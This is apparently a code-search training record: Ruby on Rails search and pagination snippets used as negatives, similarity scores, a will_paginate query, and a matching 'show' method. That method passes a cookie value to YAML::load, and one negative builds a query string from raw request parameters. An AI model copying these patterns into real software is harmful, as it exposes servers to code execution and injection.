"def index\n \n # 1.初期表示(メニューなどからの遷移時)\n # ログインユーザの会社コードのみを条件に抽出\n # ①検索条件のクリア\n # ②ログインユーザの会社コードという条件のみセッションへの保存\n # 2.検索ボタン押下時\n # 画面入力された条件に対して抽出\n # ①検索条件のクリア\n # ②画面入力された条件のセッションへの保存\n # 3.ページ繰り時\n # 直前の検索条件をもとにページ繰り\n # ①検索条件のセッションからの取り出し\n if params[:page].nil?\n # ページ繰り以外\n @searched = Hash.new\n session[:searched] = @searched\n if params[:commit].nil?\n # 初期表示時:ログインユーザの部門コードという条件のみセッションへの保存\n # ハッシュのキーのような定型的な「識別子」っぽいものは、シンボルとした\n # 方が性能も可読性もあがると思いました。\n\n #YES本社の場合は、初期表示では条件を使用しないため、\n #本社以外の場合に、検索条件をセットする。\n unless current_user.yesOffice?\n @searched[:company_id] = current_user.company_id\n end\n else\n # 検索ボタン押下時:画面入力された条件のセッションへの保存\n # 検索条件を取り込むときに、あらかじめ blank? なものは設定されていない\n # と見なすように変更しました。\n params[:search].each do |key, val|\n @searched[key.intern] = val unless val.blank?\n end\n end\n else\n # ページ繰り時:検索条件のセッションからの取り出し\n @searched = session[:searched]\n end\n\n # Rails 標準の Arel 機能を使って、WHERE 条件をオブジェクトとして扱うように\n # 変更しました。\n # cond 配列に WHERE 条件を溜め込んでいきます。\n # Arel は SQL を組み立てるための DSL のようなもので、文字列として SQL 文の\n # 断片を埋め込む必要も無くなり、DBMS を取り替えやすくなります。\n arel = Engine.arel_table\n cond = []\n\n # 会社コード(管轄)\n if company_id = @searched[:company_id]\n cond.push(arel[:company_id].eq company_id)\n end\n # エンジン型式\n if engine_model_name = @searched[:engine_model_name]\n cond.push(arel[:engine_model_name].matches \"%#{engine_model_name}%\")\n end\n # お客様名\n if serialno = @searched[:serialno]\n cond.push(arel[:serialno].matches \"%#{serialno}%\")\n end\n # ステータス\n if enginestatus_id = @searched[:enginestatus_id]\n cond.push(arel[:enginestatus_id].eq enginestatus_id)\n end\n\n # cond 配列に溜め込んだ WHERE 条件を AND でつないで検索を実行しています。\n # cond.reduce(&:and) は、Ruby 1.9 で追加された、シンボルから Proc オブジェ\n # クトを作り出す構文を使っています。\n # cond.reduce { |result, c| result.and c } と同じ意味となります。\n # order 指定を paginate の引数で指定すると、実行時に will_paginate 内で\n # deprecated 警告が出たので、外に出しました。\n# @engines = Engine.where(cond.reduce(&:and)).order(:id).paginate(page: params[:page], per_page: 10)\n @engines = Engine.where(cond.reduce(&:and)).order(:updated_at).reverse_order.paginate(page: params[:page], per_page: 10)\n\n end",
"def search_params\r\n\t params.permit(:title_keywords, :employer_keywords, :job_type_select)\r\n\tend",
"def search_params\n # params[:search]\n end",
"def setup_search_options\n @original_search_parameter = params[:search]\n params[:search] ||= \"\"\n params.keys.each do |param|\n if param =~ /(\\w+)_id$/\n unless params[param].blank?\n query = \"#{$1} = #{params[param]}\"\n params[:search] += query unless params[:search].include? query\n end\n end\n end\n end",
"def index\n # Set session variables\n if session[:selected_borrowed_items].blank?\n session[:selected_borrowed_items] = Hash.new\n end\n \n # reset search param\n if !params[:from].blank? && params[:from].match('reset_search')\n session[:crm_borrowed_items_search_details] = nil\n end\n \n # any previous borrowed items search in session?\n if session[:crm_borrowed_items_search_details] != nil\n @search = session[:crm_borrowed_items_search_details]\n else\n @search = CrmBorrowedItemsSearchDetails.new\n end\n \n end",
"def index\n # @bookmarks = current_or_guest_user.bookmarks\n logger.info \"es287_debug #{__FILE__}:#{__LINE__}:#{__method__} params = #{params.inspect}\"\n extra_head_content << view_context.auto_discovery_link_tag(:rss, url_for(params.to_unsafe_h.merge(:format => 'rss')), :title => t('blacklight.search.rss_feed') )\n extra_head_content << view_context.auto_discovery_link_tag(:atom, url_for(params.to_unsafe_h.merge(:format => 'atom')), :title => t('blacklight.search.atom_feed') )\n set_bag_name \n # make sure we are not going directly to home page\n if !params[:qdisplay].nil?\n params[:qdisplay] = ''\n end\n search_session[:per_page] = params[:per_page]\n temp_search_field = ''\n journal_titleHold = ''\n if (!params[:range].nil?)\n check_dates(params)\n end\n temp_search_field = ''\n if !params[:q].blank? and !params[:search_field].blank? # and !params[:search_field].include? '_cts'\n if params[:q].include?('%2520')\n params[:q].gsub!('%2520',' ')\n end\n if params[:q].include?('%2F') or params[:q].include?('/')\n params[:q].gsub!('%2F','')\n params[:q].gsub!('/','')\n end\n if params[:search_field] == 'isbn%2Fissn' or params[:search_field] == 'isbn/issn'\n params[:search_field] = 'isbnissn'\n end\n if params[\"search_field\"] == \"journal title\"\n journal_titleHold = \"journal title\"\n# params[:f] = {'format' => ['Journal/Periodical']}\n end\n params[:q] = sanitize(params)\n if params[:search_field] == 'call number' and !params[:q].include?('\"')\n tempQ = params[:q]\n end\n # check_params(params)\n if !tempQ.nil?\n params[:qdisplay] = tempQ\n end\n else\n if params[:q].blank?\n temp_search_field = params[:search_field]\n else\n if params[:search_field].nil?\n params[:search_field] = 'quoted'\n end\n check_params(params)\n end\n if params[:q_row] == [\"\",\"\"]\n params.delete(:q_row)\n end\n end\n if !params[:search_field].nil?\n if !params[:q].nil? and !params[:q].include?(':') and params[:search_field].include?('cts')\n params[:q] = params[:search_field] + ':' + params[:q]\n end\n end\n if !params[:q].nil? \n if params[:q].include?('_cts')\n display = params[:q].split(':')\n params[:q] = display[1]\n end\n end\n \n # params[:q] = '\"journal of parasitology\"'\n # params[:search_field] = 'quoted'\n #params[:sort]= ''\n #params = {\"utf8\"=>\"✓\", \"controller\"=>\"catalog\", \"action\"=>\"index\", \"q\"=>\"(+title:100%) OR title_phrase:\\\"100%\\\"\", \"search_field\"=>\"title\", \"qdisplay\"=>\"100%\"}\n logger.info \"es287_debug #{__FILE__}:#{__LINE__}:#{__method__} params = #{params.inspect}\"\n #params[:q] = '(+title_quoted:\"A news\" +title:Reporter)'\n# params[:search_field] = 'advanced'\n #params[:q] = '(water)'\n (@response, deprecated_document_list) = search_service.search_results #search_results(params)\n @document_list = deprecated_document_list\n logger.info \"es287_debug #{__FILE__}:#{__LINE__}:#{__method__} response = #{@response[:responseHeader].inspect}\"\n #logger.info \"es287_debug #{__FILE__}:#{__LINE__}:#{__method__} document_list = #{@document_list.inspect}\"\n if temp_search_field != ''\n params[:search_field] = temp_search_field\n end\n if journal_titleHold != ''\n params[:search_field] = journal_titleHold\n end\n if params[:search_field] == 'author_quoted'\n params[:search_field] = 'author/creator'\n end\n if @response[:responseHeader][:q_row].nil?\n# params.delete(:q_row)\n# params[:q] = @response[:responseHeader][:q]\n# params[:search_field] = ''\n# params[:advanced_query] = ''\n# params[:commit] = \"Search\"\n# params[:controller] = \"catalog\"\n# params[:action] = \"index\"\n end\n if params.nil? || params[:f].nil?\n @filters = []\n else\n @filters = params[:f] || []\n end\n\n # clean up search_field and q params. May be able to remove this\n # cleanup_params(params)\n\n @expanded_results = {}\n ['worldcat', 'summon'].each do |key|\n @expanded_results [key] = { :count => 0 , :url => '' }\n end\n # Expand search only under certain conditions\n tmp = BentoSearch::Results.new\n if !(params[:search_field] == 'call number')\n if expandable_search?\n searcher = BentoSearch::ConcurrentSearcher.new(:summon, :worldcat)\n logger.info \"es287_debug #{__FILE__}:#{__LINE__}:#{__method__} params = #{params.inspect}\"\n logger.info \"es287_debug #{__FILE__}:#{__LINE__}:#{__method__} params[:q] = #{params[:q].inspect}\"\n query = ( params[:qdisplay]?params[:qdisplay] : params[:q]).gsub(/&/, '%26')\n logger.info \"es287_debug #{__FILE__}:#{__LINE__}:#{__method__} query = #{query.inspect}\"\n searcher.search(query, :per_page => 1)\n\n @expanded_results = {}\n\n\n searcher.results.each_pair do |key, result|\n source_results = {\n :count => number_with_delimiter(result.total_items),\n :url => BentoSearch.get_engine(key).configuration.link + query,\n }\n @expanded_results[key] = source_results\n end\n end\n end\n @controller = self\n respond_to do |format|\n format.html { save_current_search_params }\n format.rss { render :layout => false }\n format.atom { render :layout => false }\n format.json { render json: { response: { document: deprecated_document_list } } }\n end\n \n if !params[:q_row].nil? \n params[:show_query] = make_show_query(params)\n search_session[:q] = params[:show_query]\n end\n\n if !params[:qdisplay].blank?\n params[:q] = params[:qdisplay]\n search_session[:q] = params[:show_query]\n# params[:q] = qparam_display\n search_session[:q] = params[:q] \n # params[:sort] = \"score desc, pub_date_sort desc, title_sort asc\"\n end\n\n end",
"def set_saved_search\n @saved_search = SavedSearch.find(params[:id])\n end",
"def quick_search\n @quick_search_active = true\n @edit = session[:edit] # Keep @edit alive as it contains all search info\n\n quick_search_load_params_to_tokens\n\n case params[:button]\n when 'apply'\n quick_search_apply_click\n when 'cancel'\n quick_search_cancel_click\n else\n any_empty = @edit[:qs_tokens].values.any? { |v| v[:value].to_s.empty? }\n render :update do |page|\n page << javascript_prologue\n page << javascript_for_miq_button_visibility(!any_empty, 'quick_search')\n end\n end\n end",
"def find_params\n params.permit(:search_results)\n end",
"def search_box query_params, field\n value = query_params.filter_value(field)\n form_tag(query_params.url, :method => :get, :class=>\"form-inline\"){\n concat hidden_fields(query_params.filter(field).params)\n concat text_field_tag(\"f[#{field}]\", value, :placeholder=>field_name(field), :class=>\"input-medium \" )\n concat submit_tag(t(\"act_as_admin.actions.search\"), :class=>\"btn\")\n concat link_to(t(\"act_as_admin.actions.clear\"), query_params.filter(field).url, :class=>\"btn\") unless value.nil?\n }\n end",
"def search_button(form)\n form.submit(\"Search\", hidden: \"\")\n end",
"def search_session_params\n @search_session_params ||= params.require(:search_session).permit(:search_type, :query, :results_count, :convertable_id, :convertable_type, :ui_session_data)\n end",
"def search_params\n params.require(:page).permit(:search_id, :commit)\n end",
"def update\n if params[:counter] && session[:search][:counter] != params[:counter]\n session[:search][:counter] = params[:counter]\n end\n\n if params[:id]\n redirect_to action: \"show\", controller: :catalog, id: params[:id]\n else\n redirect_to action: \"index\", controller: :catalog\n end\n end",
"def search\n @search_term = params[:term]\n\n if !@search_term then\n @search_term = session[:last_search_term]\n end\n # Save this for after editing\n session[:last_view] = 'search'\n session[:last_search_term] = @search_term\n\n # Need this so that links show up\n @list_options = @@list_options\n @title = \"Search Results For '#{@search_term}'\"\n\n @search_count = Order.search(@search_term, true, nil)\n @order_pages = Paginator.new(self, @search_count, 30, params[:page])\n # to_sql is an array\n # it seems to return the limits in reverse order for mysql's liking\n the_sql = @order_pages.current.to_sql.reverse.join(',')\n @orders = Order.search(@search_term, false, the_sql)\n\n render :action => 'list'\n end",
"def restore_for_guest_user\n if resetting_search?\n session.delete :search\n elsif actively_searching?\n session[:search] = {\n model: search_key,\n params: {\n s: params[:s].dup,\n fs: params[:fs].dup,\n f: params[:f].dup,\n scope: params[:scope].dup\n }\n }\n elsif session[:search] && session[:search]['model'] == controller_name\n redirect_to session[:search]['params'].merge(action: params[:action])\n end\n end",
"def get_search_params_and_store_defaults\n # basic error checking\n @tire_search = get_tire_search_from_params\n\n size_search = false\n auto_search = false\n\n size_search = true if !params[:size_search].blank?\n auto_search = true if !params[:auto_search].blank?\n\n if !size_search && !auto_search\n # let's figure out which one it actually is\n if !params[:auto_manufacturer_id].blank? && !params[:auto_model_id].blank? &&\n !params[:auto_year_id].blank? && !params[:option_id].blank?\n auto_search = true\n elsif !params[:width].blank? && !params[:ratio].blank? && !params[:wheeldiameter].blank?\n size_search = true\n\n # check and make sure the size is valid\n ts = TireSize.find_by_sizestr(\"#{params[:width].to_i}/#{params[:ratio].to_i}R#{params[:wheeldiameter].to_i}\")\n if !ts\n @tire_search = nil\n return\n end\n elsif params[:tire_size_id].blank? && params[:tire_size_str].blank?\n @tire_search = nil\n return\n end\n end\n\n begin\n if auto_search\n option = AutoOption.find(@tire_search.auto_options_id) unless @tire_search.auto_options_id.blank?\n\n @tire_search.tire_size_id = option.tire_size_id if option\n\n session[:manufacturer_id] = @tire_search.auto_manufacturer_id\n session[:auto_model_id] = @tire_search.auto_model_id\n session[:auto_year_id] = @tire_search.auto_year_id\n session[:option_id] = @tire_search.auto_options_id\n\n session[:diameter] = nil\n @tire_search.tire_size.diameter = nil\n session[:ratio] = nil\n @tire_search.tire_size.ratio = nil\n session[:wheeldiameter] = nil\n @tire_search.tire_size.wheeldiameter = nil\n else\n unless @tire_search.tire_size.nil?\n sizestr = sprintf('%g', @tire_search.tire_size.diameter.blank? ? 0 : @tire_search.tire_size.diameter) + \n '/' + sprintf('%g', @tire_search.tire_size.ratio.blank? ? 0 : @tire_search.tire_size.ratio) + \n 'R' + sprintf('%g', @tire_search.tire_size.wheeldiameter.blank? ? 0 : @tire_search.tire_size.wheeldiameter) \n end\n ts = TireSize.find_by_sizestr(sizestr)\n\n if ts\n @tire_search.tire_size_id = ts.id\n else\n @tire_search.tire_size_id = 0\n end\n\n session[:manufacturer_id] = nil\n @tire_search.auto_manufacturer_id = nil\n session[:auto_model_id] = nil\n @tire_search.auto_model_id = nil\n session[:auto_year_id] = nil\n @tire_search.auto_year_id = nil\n session[:option_id] = nil\n @tire_search.auto_options_id = nil\n session[:diameter] = @tire_search.tire_size.diameter unless @tire_search.tire_size.nil?\n session[:ratio] = @tire_search.tire_size.ratio unless @tire_search.tire_size.nil?\n session[:wheeldiameter] = @tire_search.tire_size.wheeldiameter unless @tire_search.tire_size.nil?\n end\n\n @tire_store.tire_size_id = @tire_search.tire_size_id\n\n session[:location] = @tire_search.locationstr unless @tire_search.locationstr.blank?\n session[:radius] = @tire_search.radius unless @tire_search.radius.blank?\n session[:quantity] = @tire_search.quantity.to_s \n end\n end",
"def set_params\n # Check if it's a proper commit search action\n @search_action = params.permit(:commit)[:commit]\n # Search parameters\n @keywords = params.permit(:keywords)[:keywords]\n @location = params.permit(:location)[:location]\n @location_radius = params.permit(:location_radius)[:location_radius]\n @manufacturer_or_publisher = params.permit(:manufacturer_or_publisher)[:manufacturer_or_publisher]\n @category = params.permit(:category)[:category]\n @seller_name = params.permit(:seller_name)[:seller_name]\n end",
"def create_recent_search\n \t\tcurrent_user.question_recent_search_term << params[:searchterm]\n \tcurrent_user.save\n \tend",
"def use_saved_list\n logger.debug \"**** USE SAVED LIST ****\"\n \n show_params(params) #debug params and put them in logs\n saved_contact_list_id = params[:search][:list_id]\n if saved_contact_list_id != ''\n @saved_contact_list = SavedContactList.find(saved_contact_list_id)\n @contacts = @saved_contact_list.contributors\n \n session[:contacts_from_search] = @contacts\n \n @already_selected = session[SELECTED_CONTACTS]\n logger.debug \"Contributors from saved list @ #{@contacts}\"\n \n # processing for existent contacts from mailout or saved contact lists\n saved_list_contacts = session[:list_contacts]\n mailout_list_contacts = session[:mailout_contacts]\n if saved_list_contacts != nil\n @already_selected = @already_selected + saved_list_contacts\n end\n if mailout_list_contacts != nil\n @already_selected = @already_selected + mailout_list_contacts\n end \n \n #Given we have got this far, store the search details in the session\n session[:last_search_details ] = {:list => @saved_contact_list.id}\n end\n render :layout => false\n end",
"def set_search\n @query = params.require(:search).permit(:query)\n end",
"def save_search\n #breadcrumbs\n add_crumb \"My Profile\", user_path\n add_crumb \"My Saved Searches\", save_search_path, links: false\n @showsearches = Search.all.where(users_id: current_user)\n end",
"def submitIncidentForm(page, startYear, endYear)\n form = page.form_with(:action => \"search.php\");\n form['start_year'] = startYear;\n form['end_year'] = endYear;\n page = page.form_with(:action => \"search.php\").click_button();\nend",
"def handle_remember_params\n remembered = remembered_params\n if params[:returning]\n # restore params\n remember_params.each {|p| params[p] ||= remembered[p] }\n end\n \n # store current params\n remember_params.each do |p| \n remembered[p] = params[p].presence\n remembered.delete(p) if remembered[p].nil?\n end\n \n # clear void params\n session[:list_params].delete(request.path) if remembered.blank?\n end",
"def index\n @response = get_search_results(params[:q], params[:f], params[:per_page], params[:page])\n \n session[:search] ||= {}\n # we want to remove the key if the value is blank or nil\n params[:q].blank? ? session[:search].delete(:q) : session[:search][:q] = params[:q]\n params[:f].blank? ? session[:search].delete(:f) : session[:search][:f] = params[:f]\n params[:per_page].blank? ? session[:search].delete(:per_page) : session[:search][:per_page] = params[:per_page]\n params[:page].blank? ? session[:search].delete(:page) : session[:search][:page] = params[:page]\n \n logger.debug(\"***** session.inspect: #{session.inspect}\")\n respond_to do |format|\n format.html{}\n format.rss do\n render :layout=>false\n end\n end \n end",
"def perform_search\n if self.class == Alchemy::Admin::PagesController && params[:query].blank?\n params[:query] = 'lorem'\n end\n return if params[:query].blank?\n @search_results = search_results\n if paginate_per\n @search_results = @search_results.page(params[:page]).per(paginate_per)\n end\n end",
"def set_search_params \n # TODO: figure out how to do this without having to change params to symbols\n symbolic_params = {}\n search_params.each_pair do |key, value|\n symbolic_params.merge!(key.to_sym => value)\n end\n @search_params = symbolic_params\n end",
"def set_sorting_cookies(oldest, newest, more_progress, less_progress)\n if oldest\n cookies.permanent[:sort_param] = 'oldest'\n elsif newest\n cookies.permanent[:sort_param] = 'newest'\n elsif more_progress\n cookies.permanent[:sort_param] = 'more_progress'\n elsif less_progress\n cookies.permanent[:sort_param] = 'less_progress' \n else\n cookies.permanent[:sort_param] = 'newest' \n end\n end",
"def save_search?(_user = nil)\n SAVE_SEARCHES # TODO: criteria?\n end",
"def search_params\n params.permit(:q)\n end",
"def initialize(params)\n @posts_search_form = params[:posts_search_form] || {}\n FORM_FIELDS.each { |f| send(\"#{f}=\", @posts_search_form[f]) }\n end"
] |
[
"0.6593286",
"0.6562131",
"0.65237576",
"0.6464136",
"0.6346279",
"0.63273585",
"0.6295499",
"0.6275071",
"0.62446964",
"0.61636",
"0.6052698",
"0.601004",
"0.59869725",
"0.5979788",
"0.5943326",
"0.5943326",
"0.5883371",
"0.57890505",
"0.5781959",
"0.5779849",
"0.57701564",
"0.5746048",
"0.5744184",
"0.5712604",
"0.57117265",
"0.5703011",
"0.567263",
"0.56702304",
"0.5658502",
"0.5657299",
"0.5653827",
"0.5642186",
"0.5635959",
"0.5632985",
"0.56181103",
"0.5613159",
"0.55686826",
"0.5549931",
"0.5546198",
"0.554145",
"0.553946",
"0.55362016",
"0.5529497",
"0.5520507",
"0.55117846",
"0.5506194",
"0.55050427",
"0.5502019",
"0.5496978",
"0.54910636",
"0.54853964",
"0.54747164",
"0.54692614",
"0.54626095",
"0.5459453",
"0.5458732",
"0.5458732",
"0.54457057",
"0.54433256",
"0.54426306",
"0.5430827",
"0.5418622",
"0.5413543",
"0.5401565",
"0.5399222",
"0.5385306",
"0.5382617",
"0.53706473",
"0.53690666",
"0.5358699",
"0.5349938",
"0.5347544",
"0.5328294",
"0.53189486",
"0.5315491",
"0.5309235",
"0.5302048",
"0.52919614",
"0.52897537",
"0.5280878",
"0.52457446",
"0.5236966",
"0.52281094",
"0.52141047",
"0.52094567",
"0.52062976",
"0.5181024",
"0.51603425",
"0.51592153",
"0.5153621",
"0.51494646",
"0.51443595",
"0.5132876",
"0.51257676",
"0.5124014",
"0.5123887",
"0.5123774",
"0.51192325",
"0.5118664",
"0.511839"
] |
0.6161681
|
10
|
This method is called only through "will_paginate" to get the indicated page of search results.
|
def show
admin_last_url
search_params = YAML::load(cookies[:product_search])
search_params[:page] = params[:page]
do_search search_params
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def perform_search\n if self.class == Alchemy::Admin::PagesController && params[:query].blank?\n params[:query] = 'lorem'\n end\n return if params[:query].blank?\n @search_results = search_results\n if paginate_per\n @search_results = @search_results.page(params[:page]).per(paginate_per)\n end\n end",
"def index\n @results = @search.result.paginate(page: params[:page], per_page: 9).order(created_at: :desc)\n end",
"def ransack_result\n @search.result.page(params[:page])\n end",
"def limit_page_param_for_search\n if !params[:page].blank? && params[:page].to_i > 50\n render_404\n end\n end",
"def search\n unless params[:q].blank?\n ensure_homepage\n term = \"*#{params[:q].split.join('* OR *')}*\"\n @pages=Page.paginate_search(term,:page=>params[:page])\n else\n flash[:notice]='Please Specify a Search Term'\n end\n @search=true\n render :action=>'index'\n end",
"def paginated_search(params, page: params[:page], limit: params[:limit], count_pages: params[:search].present?, count: nil, defaults: {}, current_user: CurrentUser.user)\n search_params = params.fetch(:search, {}).permit!\n search_params = defaults.merge(search_params).with_indifferent_access\n\n max_limit = (params[:format] == \"sitemap\") ? 10_000 : 1_000\n search(search_params, current_user).paginate(page, limit: limit, max_limit: max_limit, count: count, search_count: count_pages)\n end",
"def collection \n @search = Redirect.search(params[:search])\n\n #set order by to default or form result\n @search.order ||= \"descend_by_updated_at\"\n\n #set results per page to default or form result\n @collection_count = @search.count\n @collection = @search.paginate(:per_page => Spree::Config[:admin_products_per_page],\n :page => params[:page])\n end",
"def search\n unless params[:q].blank?\n @posts=Post.paginate_search(params[:q],:page=>params[:page])\n else\n flash[:notice]='Please Specify a Search Term'\n end\n @search=true\n render :action=>'index'\n end",
"def index\n # @articles = Article.all\n if params[:q]\n search_term = params[:q]\n #@articles = Article.search(search_term)\n @articles = Article.search(search_term).paginate(page:\n params[:page], per_page: 2)\n else\n #@articles = Article.all\n #@articles = Article.all.paginate(page: params[:page], per_page: 4)\n @articles = Article.all.paginate(page:\n params[:page], per_page: 2)\n end\n\n end",
"def search_all\n params[:search] ||= {}\n params[:search][:state_eq] = 'published'\n @documents = Document.search(params[:search]).paginate :page => params[:page], :per_page => Settings.documents.per_page\n render :template => '/pages/search'\n end",
"def search_and_paginate(model, field_name = :name, should_paginate = true)\n params[:search].strip! if params[:search]\n\n @entities = model\n @entities = @entities.where(\"#{field_name} LIKE ?\", \"%#{params[:search]}%\") if params[:search]\n @entities = @entities.order field_name\n @entities = @entities.page params[:page] if should_paginate\n end",
"def index\n if params[:search_string].present?\n @list = resource_class.search(current_user,params[:search_string]).paginate(page: params[:page], per_page: DEFAULT_PER_PAGE)\n else\n @list = resource_class.get_list(current_user,params).paginate(page: params[:page], per_page: DEFAULT_PER_PAGE)\n end\n @count = @list.count\n @per_page = DEFAULT_PER_PAGE\n end",
"def search\n pi = page_info\n pi.record = SearchForm.new(model, params[:edgarj_search_form])\n pi.page = 1\n pi.save!\n @search = pi.record\n prepare_list if @search.valid?\n end",
"def index\n add_breadcrumb 'Search'\n @search_fors = SearchFor.all\n @pagy, @search_fors = pagy(SearchFor.all.order(\"created_at DESC\"))\n end",
"def paginated_selected_results\n \tif ! @contacts.blank?\n\t number_of_contacts_per_page = 25\n\t @selected_contacts_pages = Paginator.new self, @contacts.length, number_of_contacts_per_page, params[:page]\n\t from = @selected_contacts_pages.current.offset.to_i\n\t to = (from + @selected_contacts_pages.items_per_page.to_i) - 1\n\t \n\t @selected_contacts = @contacts[from..to] unless @contacts.blank?\n\tend\t\n end",
"def search_results\n pages = Alchemy::PgSearch.config[:page_search_scope].pages\n # Since CanCan cannot (oh the irony) merge +accessible_by+ scope with pg_search scopes,\n # we need to fake a page object here\n if can? :show, Alchemy::Page.new(restricted: true, public_on: Date.current)\n pages.full_text_search(params[:query])\n else\n pages.not_restricted.full_text_search(params[:query])\n end\n end",
"def index\n @items = Item.search(params[:search]).paginate(:per_page => 5, :page => params[:page])\n end",
"def search\n @search_criteria =\"\"\n if params[:q].eql? \"\"\n @search_criteria =\"All\"\n @items = Item.all.paginate(:page => params[:page], per_page: 9)\n else\n @st = \"%#{params[:q]}%\"\n @search_criteria = params[:q]\n @items = Item.where(\"LOWER(title) LIKE ?\", @st.downcase).paginate(:page => params[:page], per_page: 9)\n end\n end",
"def search\n @search_term = params[:term]\n\n if !@search_term then\n @search_term = session[:last_search_term]\n end\n # Save this for after editing\n session[:last_view] = 'search'\n session[:last_search_term] = @search_term\n\n # Need this so that links show up\n @list_options = @@list_options\n @title = \"Search Results For '#{@search_term}'\"\n\n @search_count = Order.search(@search_term, true, nil)\n @order_pages = Paginator.new(self, @search_count, 30, params[:page])\n # to_sql is an array\n # it seems to return the limits in reverse order for mysql's liking\n the_sql = @order_pages.current.to_sql.reverse.join(',')\n @orders = Order.search(@search_term, false, the_sql)\n\n render :action => 'list'\n end",
"def index\n @search = Student.search(params[:q])\n @students = @search.result\n @students = @students.page(params[:page]||1) \n end",
"def index\n if @search.nil?\n @search = Person.search(params[:search])\n @people = nil\n else\n @search.meta_sort = \"surname.asc\" if @search.meta_sort.nil?\n @people = @search.paginate(:page => params[:page])\n end \n end",
"def index\n #@posts = Post.search(params[:search], params[:page])\n \n @search = Post.search(params[:search])\n @posts = @search.all.paginate :page => params[:page], :per_page => 30\n \n render :layout => 'application'\n end",
"def paginate\n paginated?? self : page(1)\n end",
"def index\n @search = search_params\n #do your customize query here\n @images = Image.page(params[:page]).order('created_at desc')\n if @search && @search[:keyword]\n @images = @images.where('title like ?', @search[:keyword]+'%')\n end\n end",
"def search(options = {})\n options = options.dup.symbolize_keys\n search_for(options).send(options.key?(:page) ? :paginate : :all, options)\n end",
"def next_search_result_page(params = {}, opts = {})\n return self.class.empty_search_result(opts) unless has_more\n\n params = filters.merge(page: next_page).merge(params)\n\n _search(url, params, opts)\n end",
"def page_number\n\t\t\t\treturn 0 if @total_results == 0\n\t\t\t\t@offset + 1\n\t\t\tend",
"def index\n @search = params[\"search\"]\n if @search.present?\n client = Client.new(@search)\n response = client.call\n\n new_results = StoreSearch.new(@search, response).run\n if new_results\n scope_to_use = client.find_search_key || \"random\"\n\n if scope_to_use == \"category\"\n searches = Search.with_category(@search[\"category\"])\n @searches = Search.paginate(page: params[:page], per_page: 5).where(id: searches.map(&:id))\n # TODO recover former sintax\n # @searches = Search.paginate(page: params[:page], per_page: 5)\n # .with_category(@search[\"category\"])\n elsif scope_to_use == \"text\"\n @searches = Search.paginate(page: params[:page], per_page: 5)\n .with_text(@search[\"text\"])\n elsif scope_to_use == \"random\"\n @searches = Search.paginate(page: params[:page], per_page: 5)\n .created_randomly\n else\n @searches = Search.paginate(page: params[:page], per_page: 5)\n end\n else\n @searches = Search.paginate(page: params[:page], per_page: 5)\n end\n end\n \n @searches ||= Search.paginate(page: params[:page], per_page: 5)\n @search = Search.new()\n end",
"def index\n if params[:q].present?\n @results = Page.search(query: { fuzzy: { content: { value: params[:q] } } }, highlight: { fields: { content: {} } })\n @has_highlights = true\n else\n @results = Page.search('*')\n end\n @pages = @results.records\n end",
"def search_results\n Card.search(params[:search]).page(params[:page]).per_page(8)\n end",
"def index\r\n if session[:search_query].blank?\r\n @posts = Post.all.order(\"created_at DESC\").page(params[:page])\r\n\r\n else\r\n st = \"%#{session[:search_query]}%\"\r\n @posts = Post.where(\"spot_name like ?\", st).order(\"created_at DESC\").page(params[:page])\r\n end\r\n @requests = Post.where(service_type: 'request').order(\"created_at DESC\").page(params[:page_1]).per(5)\r\n @provides = Post.where(service_type: 'provide').order(\"created_at DESC\").page(params[:page_2]).per(5)\r\n end",
"def paginator; end",
"def search_results\n @page_title = 'Source Search Results'\n pars = params.permit(:name, types: [])\n type_arr = pars[:types] ? pars[:types].map(&:to_sym) : nil\n results = Source.search(pars[:name], type_arr)\n .records\n .order(stories_count: :desc, name: :asc)\n # @results = @results.paginate(page: params[:page])\n # render 'search/results'\n result_display(results)\n end",
"def process_search(search_params, page)\n if !search_params\n flash[:search_error] = \"No search was specified\"\n return\n end\n\n page = 1 if page < 1\n \n results, paginator = find_borrowed_items_by_solr(search_params, page)\n \n { \n :results => results,\n :paginator => paginator,\n }\n end",
"def search\n\t @search_term = params[:term]\n\n\t if !@search_term then\n\t @search_term = session[:last_search_term]\n\t end\n\t # Save this for after editing\n\t session[:last_search_term] = @search_term\n\n\t # Need this so that links show up\n\t @title = \"Search Results For '#{@search_term}'\"\n\n\t @search_count = Product.search(@search_term, true, nil)\n\t @product_pages = Paginator.new(self, @search_count, 30, params[:page])\n\t # to_sql is an array\n\t # it seems to return the limits in reverse order for mysql's liking\n\t the_sql = @product_pages.current.to_sql.reverse.join(',')\n\t @products = Product.search(@search_term, false, the_sql)\n\n\t render :action => 'list'\n\tend",
"def index\n\n @users = User.search(params[:search]).paginate(page: params[:page], :per_page => 4)\n\n end",
"def search\n @users = User.search(params[:query])\n @users = @users.paginate(:page => params[:page], :per_page => 30)\n end",
"def index\n @service = Service.all.paginate(page: params[:page], :per_page => 70) \n end",
"def search\n params[:search] ||= {}\n @document = Document.public.find_by_path(params[:path].join('/'))\n params[:search].merge!(:parent_id => @document.id)\n params[:search][:state_eq] = 'published'\n @documents = Document.search(params[:search]).paginate :page => params[:page], :per_page => Settings.documents.per_page\n setup_view_environment\n render :template => view_for(:suffix => '_search')\n end",
"def paginate; false; end",
"def total_pages\n self.search.results.total_pages\n end",
"def search\n query = params[:q]\n pizarras = Pizarra.find_aviso_contenido(query)\n @pizarras = pizarras.paginate :page => params[:page],:per_page => 2\n end",
"def index\n raise 'no page params' if params[:search][:page].blank?\n page, value = params[:search][:page], params[:search][:value]\n\n if page.include? 'home'\n logger.debug('!! searging by all')\n @links = Link.search value\n elsif page.include? 'favorit'\n logger.debug('!! searging by favorits')\n @links = Link.search value, :with => {:favorits_user_id => current_user.id}\n elsif page.include? 'links'\n logger.debug('!! searging by my links')\n @links = Link.search value, :with => {:user_id => current_user.id}\n end\n\n respond_to do |format|\n format.html\n end\n end",
"def search_result\n\t\t@questions = Question.search(params[:search]).for_index_set.page(params[:page]).per(10).order(:id)\n\tend",
"def index\n rents = Rent.where(search_param)\n render_paginated(filtrate(rents), each_serializer: RentSerializer)\n end",
"def index\n\n @trucksxls = Truck.where(estado: \"1\").order(\"placa\")\n if(params[:search]) \n \n @trucks = Truck.paginate(:page => params[:page]).search(params[:search]).order(:placa)\n else\n @trucks = Truck.where(estado: \"1\").order(\"placa\").paginate(:page => params[:page])\n end\n end",
"def index_page\n\n # For search action \n if params[:search] && params[:search] != \"\"\n Order.index(sort_column, sort_direction, params[:page], params[:search])\n else\n Order.index(sort_column, sort_direction, params[:page])\n end\n end",
